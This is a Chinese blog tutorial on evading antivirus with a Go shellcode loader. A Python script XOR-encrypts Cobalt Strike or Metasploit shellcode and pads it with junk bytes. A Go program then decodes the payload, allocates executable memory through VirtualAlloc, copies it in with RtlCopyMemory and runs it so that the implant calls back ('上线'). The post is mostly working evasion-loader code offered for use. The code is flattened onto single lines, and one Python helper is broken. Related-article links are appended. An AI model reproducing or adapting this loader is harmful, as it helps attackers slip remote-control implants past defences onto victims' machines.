Golang-编码加密-Xor(GG)

2024-06-10 14:28
文章标签 golang 加密 编码 xor gg

本文主要是介绍Golang-编码加密-Xor(GG),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

go语言环境搭建

Golang学习日志 ━━ 下载及安装_golang下载-CSDN博客


 

 go run xxx.go 

 go build xxx.go 

首先,cs.msf生成比特流数据.

 放入xor,py脚本中进行xor加密.

 xor.py

def xor(shellcode, key):new_shellcode = ""key_len = len(key)# 对shellcode的每一位进行xor亦或处理for i in range(0, len(shellcode)):s = ord(shellcode[i])p = ord((key[i % key_len]))s = s ^ p  # 与p异或,p就是key中的字符之一s = chr(s) new_shellcode += sreturn new_shellcodedef random_decode(shellcode):j = 0new_shellcode = ""for i in range(0,len(shellcode)):if i % 2 == 0:new_shellcode[i] = shellcode[j]j += 1return new_shellcodedef add_random_code(shellcode, key):new_shellcode = ""key_len = len(key)# 每个字节后面添加随机一个字节,随机字符来源于keyfor i in range(0, len(shellcode)):#print(ord(shellcode[i]))new_shellcode += shellcode[i]# print("&"+hex(ord(new_shellcode[i])))new_shellcode += key[i % key_len]#print(i % key_len)return new_shellcode# 将shellcode打印输出
def str_to_hex(shellcode):raw = ""for i in range(0, len(shellcode)):s = hex(ord(shellcode[i])).replace("0x",',0x')raw = raw + sreturn rawif __name__ == '__main__':shellcode="   比特流shellcode!!!!!       "# 这是异或和增加随机字符使用的keykey = "iqe"#print(shellcode[0])#print(len(shellcode))# 首先对shellcode进行异或处理shellcode = xor(shellcode, key)#print(len(shellcode))# 然后在shellcode中增加随机字符shellcode = add_random_code(shellcode, key)# 将shellcode打印出来print(str_to_hex(shellcode))

xor_dec.go

package mainimport ("syscall""time""unsafe"
)const (MEM_COMMIT             = 0x1000MEM_RESERVE            = 0x2000PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。)var (kernel32      = syscall.MustLoadDLL("kernel32.dll")ntdll         = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)func main() {mix_shellcode := []byte{       xor加密后的shellcode  !!!!!!           }var ttyolller []bytekey := []byte("iqe")var key_size = len(key)var shellcode_final []bytevar j = 0time.Sleep(2)// 去除垃圾代码//fmt.Print(len(mix_shellcode))for i := 0; i < len(mix_shellcode); i++ {if i%2 == 0 {shellcode_final = append(shellcode_final, mix_shellcode[i])j += 1}}time.Sleep(3)//fmt.Print(shellcode_final)// 解密异或for i := 0; i < len(shellcode_final); i++ {ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size])}time.Sleep(3)addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}time.Sleep(3)_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}syscall.Syscall(addr, 0, 0, 0, 0)
}

 运行xor_dec.go --->上线.

这篇关于Golang-编码加密-Xor(GG)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1048412

相关文章

Golang操作DuckDB实战案例分享

《Golang操作DuckDB实战案例分享》DuckDB是一个嵌入式SQL数据库引擎,它与众所周知的SQLite非常相似,但它是为olap风格的工作负载设计的,DuckDB支持各种数据类型和SQL特性... 目录DuckDB的主要优点环境准备初始化表和数据查询单行或多行错误处理和事务完整代码最后总结Duck

Golang的CSP模型简介(最新推荐)

《Golang的CSP模型简介(最新推荐)》Golang采用了CSP(CommunicatingSequentialProcesses,通信顺序进程)并发模型,通过goroutine和channe... 目录前言一、介绍1. 什么是 CSP 模型2. Goroutine3. Channel4. Channe

Java中的密码加密方式

《Java中的密码加密方式》文章介绍了Java中使用MD5算法对密码进行加密的方法,以及如何通过加盐和多重加密来提高密码的安全性,MD5是一种不可逆的哈希算法,适合用于存储密码,因为其输出的摘要长度固... 目录Java的密码加密方式密码加密一般的应用方式是总结Java的密码加密方式密码加密【这里采用的

Golang使用minio替代文件系统的实战教程

《Golang使用minio替代文件系统的实战教程》本文讨论项目开发中直接文件系统的限制或不足,接着介绍Minio对象存储的优势,同时给出Golang的实际示例代码,包括初始化客户端、读取minio对... 目录文件系统 vs Minio文件系统不足:对象存储:miniogolang连接Minio配置Min

Golang使用etcd构建分布式锁的示例分享

《Golang使用etcd构建分布式锁的示例分享》在本教程中,我们将学习如何使用Go和etcd构建分布式锁系统,分布式锁系统对于管理对分布式系统中共享资源的并发访问至关重要,它有助于维护一致性,防止竞... 目录引言环境准备新建Go项目实现加锁和解锁功能测试分布式锁重构实现失败重试总结引言我们将使用Go作

使用Python制作一个PDF批量加密工具

《使用Python制作一个PDF批量加密工具》PDF批量加密‌是一种保护PDF文件安全性的方法,通过为多个PDF文件设置相同的密码,防止未经授权的用户访问这些文件,下面我们来看看如何使用Python制... 目录1.简介2.运行效果3.相关源码1.简介一个python写的PDF批量加密工具。PDF批量加密

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

form表单提交编码的问题

浏览器在form提交后,会生成一个HTTP的头部信息"content-type",标准规定其形式为Content-type: application/x-www-form-urlencoded; charset=UTF-8        那么我们如果需要修改编码,不使用默认的,那么可以如下这样操作修改编码,来满足需求: hmtl代码:   <meta http-equiv="Conte

Golang进程权限调度包runtime

关于 runtime 包几个方法: Gosched:让当前线程让出 cpu 以让其它线程运行,它不会挂起当前线程,因此当前线程未来会继续执行GOMAXPROCS:设置最大的可同时使用的 CPU 核数Goexit:退出当前 goroutine(但是defer语句会照常执行)NumGoroutine:返回正在执行和排队的任务总数GOOS:目标操作系统NumCPU:返回当前系统的 CPU 核数量 p